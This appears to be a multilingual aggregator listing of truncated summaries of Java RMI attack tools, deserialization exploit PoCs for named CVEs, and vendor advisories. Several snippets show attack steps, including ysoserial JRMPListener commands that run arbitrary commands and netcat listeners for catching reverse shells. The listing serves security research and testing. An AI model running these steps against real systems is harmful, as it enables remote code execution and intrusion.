BaRMIe

BaRMIe BaRMIe is a tool for enumerating and attacking Java RMI Remote Method Invocation services. RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testin...

rmiscout

説明 RMIScoutは、露出したJava RMIインターフェースに対してワードリストおよびブルートフォース攻撃を行い、メソッドシグネチャを安全に推測（呼び出しなし）することを可能にします。複数のJava RMIプロトコル、メソッド呼び出し、およびエクスプロイトをサポートしています。 機能概要 複数のタイプのJava RMIサーバーをサポート: RMI-JRMP（別名プレーンRMI、通常ポート1099）：リモートオブジェクトレジストリサービス（rmiregistry） RMI Activation Stubs（rmid経由） RMI-IIOP：Java...

PoC

PoC 存放概念验证漏洞利用程序和工具的代码仓库。 BMCRSCDRCE 针对 BMC Server Automation 的 RSCD 代理的未认证远程命令执行漏洞利用程序。该漏洞利用程序适用于受 CVE-2016-1542 影响（由 Nessus 检测）的服务器。 这现在是一个 Metasploit 模块，参见 exploits/multi/misc/bmcserverautomationrscdnshrce 该漏洞利用程序的开发过程是：让 Nessus 扫描一个 Python 脚本，该脚本记录数据包并将其/垃圾数据发送回...

WebSphere-WSIF-gadget

WSIF Gadget para WebSphere CVE-2020-4464 / CVE-2020-4450 Esto se basa en las excelentes entradas de blog de ZDI informe original de @tint0: https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints...

remote-method-guesser

Remote Method Guesser remote-method-guesser （ rmg ）は Java RMI の脆弱性スキャナーであり、 Java RMI エンドポイントにおける一般的なセキュリティ脆弱性の特定および検証に使用できます。...

ermir

Ermir Ermir は Evil/Rogue RMI Registry（悪意のある/不正なRMIレジストリ）であり、標準的なRMIメソッド（list/lookup/bind/rebind/unbind）を呼び出す任意のJavaコード上の安全でないデシリアライゼーションを悪用します。 要件 Ruby v3 またはそれ以上。 インストール rubygems.org から Ermir をインストール: root@kitploit: $ gem install ermir または、リポジトリをクローンしてgemをビルド: root@kitploit: $ git clone...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 8443 端口 root@kitploit: nc -lvp 8443 3. 执行python脚本 root@kitploit:...

mjet

mjet Mogwai Security Java 管理扩展（JMX）漏洞利用工具包 mjet 是一个可用于保护配置不安全的 JMX 服务的工具。它基于 Braden Thomas/Accuvant 的博文“Exploiting JMX-RMI”（http://www.accuvant.com/blog/exploiting-jmx-rmi），可用于在目标系统上执行任意的 Metasploit 载荷。 mjet 最初计划成为一个完整的攻击工具包，但我们注意到 Metasploit 的 Github 仓库中有一个拉取请求，该请求将以原生 Ruby 提供基本的 Java...

log4shell-rmi-poc

log4shell-rmi-poc Log4j脆弱性（CVE-2021-44228）のJava-RMI経由でのProof of Concept spring-boot-starter-log4j2のLog4j 2.5.7を使用しています。 必要条件: Java 8（JDK 1.8.025）およびJava 11（JDK 11.0.1）でテスト済み POCの実行方法 1. リポジトリをクローン: root@kitploit: git clone https://github.com/Labout/log4shell-rmi-poc.git 2. 攻撃者側のRMIサーバーを起動...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 64444 端口 root@kitploit: nc -lvp 64444 3. 执行python脚本 root@kitploit:...

CVE-2019-12409

CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

GadgetProbe

Description You just found a Java deserialization bug, you ran all your ysoserial payloads, and.... you got nothing. What now? How can you debug or build a gadget chain if you're totally blind? Introducing GadgetProbe, a tool that shines a light on remote classpaths and raises bug severity for al...

CVE-2017-3241-POC

CVE-2017-3241-POC POC para la vulnerabilidad de deserialización de Java RMI Probablemente necesites usar JDK 8 para ejecutar este poc. Solo presta atención a la clase Message tanto en el lado del cliente como en el del servidor. Son diferentes. Y la diferencia es la clave para entender esta...

cve_2011_3556

CVE-2011-3556 — 概念验证 PoC 免责声明 此工具是现有Metasploit框架中由mihi开发的概念验证 PoC的Python 3实现。 先决条件 使用此模块只需按照以下说明操作： root@kitploit: 将该仓库克隆到本地。 $ git clone https://github.com/sk4la/cve20113556.git && cd cve20113556/ 可选地设置x位以能够直接执行脚本。 $ chmod u+x exploit.py $ ./exploit.py --help && echo "It works!" 用法 命令行...

HPE-iMC-7.3-RMI-Java-Deserialization

HPE iMC 7.3 Vulnerabilidad de RCE por deserialización en el registro RMI de Java ID de CVE CVE-2017-5792 Exploit Página web del proveedor: www.hpe.com Versión: iMC PLAT v7.3 E0504 Standard Probado en: Windows Server 2008 R2 Enterprise 64-bit tenga en cuenta que este PoC ejecutará calc.exe $ java...

TencentOS Server 3: java-1.8.0-openjdk (TSSA-2026:0365)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0365 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities...

TencentOS Server 3: java-17-openjdk (TSSA-2026:0363)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0363 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities...

CVE-2026-8216

A vulnerability was identified in Industrial Application Software IAS Canias ERP 8.03. This issue affects the function iasServerRemoteInterface.doAction of the component Java RMI Session Management. Such manipulation leads to improper authentication. The attack can be launched remotely. The vendo...

CVE-2026-8216 Industrial Application Software IAS Canias ERP Java RMI Session Management iasServerRemoteInterface.doAction improper authentication

A vulnerability was identified in Industrial Application Software IAS Canias ERP 8.03. This issue affects the function iasServerRemoteInterface.doAction of the component Java RMI Session Management. Such manipulation leads to improper authentication. The attack can be launched remotely. The vendo...